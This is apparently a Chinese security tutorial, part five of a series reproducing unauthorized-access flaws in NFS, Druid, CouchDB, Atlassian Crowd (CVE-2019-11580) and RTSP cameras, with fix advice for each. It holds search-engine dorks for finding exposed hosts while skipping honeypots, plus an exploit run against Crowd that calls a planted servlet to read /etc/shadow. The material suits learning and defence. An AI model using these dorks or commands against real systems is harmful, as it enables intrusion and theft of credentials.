三十种未授权访问漏洞复现 合集（ 五 ）

 未授权访问漏洞介绍

        未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷，导致其他用户可以直接访问，从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。---->目录遍历
        目前主要存在未授权访问漏洞的有:NFS服务，Samba服务，LDAP，Rsync，FTPGitLab, Jenkins,MongoDB, Redis, ZooKeeper, ElasticSearch, Memcache,CouchDB，Docker，Solr，Hadoop，Dubbo 等...
        未授权访问漏洞的复现思路:
        1.使用靶场进行漏洞复现:(1)vulhub(2)本地搭建靶场
        2.使用漏洞扫描工具进行扫描(1)github-功能受限(2)Python-定制化的完成漏洞扫描的利用

二十一:NSF共享目录未授权访问

》》》漏洞简介《《《

Network File System(NFS)，是由SUN公司研制的UNIX表示层协议(pressentation layerprotocol)，能使使用者访问网络上别处的文件就像在使用自己的计算机一样。服务器在启用nfs服务以后，由于nfs服务未限制对外访问，导致共享目录泄漏。

》》》漏洞复现《《《

fofa搜索语句："nfs"       port="2049"     port="20048"

#安装nfs客户端

apt install nfs-common

#查看nfs服务器上的共享目录

showmount -e 192.168.126.130
#挂载相应共享目录到本地

mount -t nfs 192.168.126.130:/grdata /mnt
#卸载目录

umount /mnt

》》》漏洞修复建议《《《

1.利用iptables限制端口2049和20048端口的访问，禁止外部访问;

2.设置/etc/exports，对访问进行控制;

二十二:Druid未授权访问漏洞

》》》漏洞简介《《《

Druid是阿里巴巴数据库出品的，为监控而生的数据库连接池，并且Druid提供的监控功能，监控SQL的执行时间、监控Web URI的请求、Session监控，首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问。

当开发者配置不当时就可能造成未授权访问下面给出常见Druid未授权访问路径

漏洞特征:http://www.xxxx.com/druid/index.html

/druid/websession.html

/system/druid/websession.html

/webpage/system/druid/websession.html(jeecg)

》》》漏洞复现《《《

fofa语句：title="Druid Stat Index"

# PHPINFO页面
inurl:phpinfo.php

intitle:phpinfo()

info.php test.php
# Druid未授权访问

inurl:"druid/index.html"

intitle:"Druid Stat Index'

直接在网站的url中后加上：

1 /druid/index.html

2 /druid/websession.html

3 /druid/datasource.html

4 /druid/sql.html

5 /druid/spring.html

如果可以无需登录，即可登录到Druid监控界面，则说明该网站存在Druid未授权访问漏洞

》》》漏洞修复建议《《《

1.配置访问账号密码。
2.禁止对外网开放访问。

二十三:CouchDB未授权访问

》》》漏洞简介《《《

Apache CouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是-个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NOSQL数据库。应用广泛，如BBC用在其动态内容展示平台，CreditSuisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台(web和应用程序)
在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12636是一个任意命令执行漏洞，我们可以通过config api修改couchdb的配置query_server，这个配置项在设计、执行view的时候将被运行。默认端口是6984
影响版本:小于 1.7.0 以及 小于 2.1.1

》》》漏洞复现《《《

fofa语法

(port="5984")&&(is_honeypot=false && is_fraud=false)

Vulhub靶场

cd /vulhub/couchdb/CVE-2017-12636

docker-compose up -d

执行未授权访问测试命令..

curl 192.168.1.4:5984

curl 192.168.1.4:5984/_config

》》》漏洞修复建议《《《

1.指定CouchDB绑定的IP (需要重启CouchDB才能生效)在/etc/couchdb/local.ini 文件中找到“bind address=0.0.0.0”，把 0.0.0.0修改为 127.0.0.1 ，然后保存。 注:修改后只有本机才能访问CouchDB。

2.设置访问密码(需要重启CouchDB才能生效)在 /etc/couchdb/local.ini 中找到“[admins”字段配置密码。

3.设置WWW-Authenticate，强制认证。

二十四:Altassian Crowd未授权访问漏洞

》》》漏洞简介《《《

Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。AtlassianCrowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件，使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd DataCenter安装任意的恶意插件，执行任意代码/命令，从而获得服务器权限。其端口:8095

》》》漏洞复现《《《

影响版本

2.1.0 <= version < 3.0.5
3.1.0 <= version < 3.1.6

3.2.0<= version < 3.2.8

3.3.0 <= version < 3.3.5

3.4.0 <= version < 3.4.4

漏洞利用脚本github地址：https://github.com/jas502n/CVE-2019-11580

1 git clone https://github.com/jas502n/CVE-2019-11580

2 cd CVE-2019-11580/

3 python CVE-2019-11580.py http://192.168.18.138:8095

4 curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow

》》》漏洞修复建议《《《

设置访问/crowd/admin/uploadplugin.action的源ip.
升级最新版本(3.5.0以上)。

二十五:RTSP未授权访问漏洞

》》》漏洞简介《《《

RTSP(Real Time Streaming Protocol)，实时流传输协议，是TCP/IP协议体系中的一个应用层协议，该协议定义了一对多应用程序如何有效地通过IP网络传送多媒体数据，被广泛用于视频直播领域,为方便用户远程监控摄像头内容，许多摄像头厂商会在摄像头或NVR中开启RTSP服务器。攻击者可通过VLC等视频播放软件打开rtsp地址进行摄像头画面的实时查看。

》》》漏洞复现《《《

fofa语句：(port=“554")&&(is_honeypot=false && is_fraud=false)&& protocol="rtsp"

》》》漏洞修复建议《《《

1.修改默认口令。
2.禁止开放到外网。